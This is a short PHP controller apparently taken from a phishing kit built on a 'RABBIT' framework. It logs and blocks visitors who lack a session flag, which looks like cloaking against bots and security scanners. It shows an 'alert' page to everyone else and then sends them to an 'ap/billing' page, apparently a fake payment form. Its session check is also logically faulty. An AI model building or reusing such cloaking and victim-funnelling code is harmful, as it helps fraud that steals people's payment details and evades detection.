<?php

defined("ALLOW") or exit('No direct script access allowed');

class Alert
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 1)) {
			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		if ($this->goRABBIT->is_mobile) {
			echo view('mobile/alert');
		} else {
			echo view('pc/alert');
		}
	}

	public function process()
	{
		$_SESSION['access'] = 2;
		redirect(base_url() . 'ap/billing?_id=' . md5(time()));
	}
}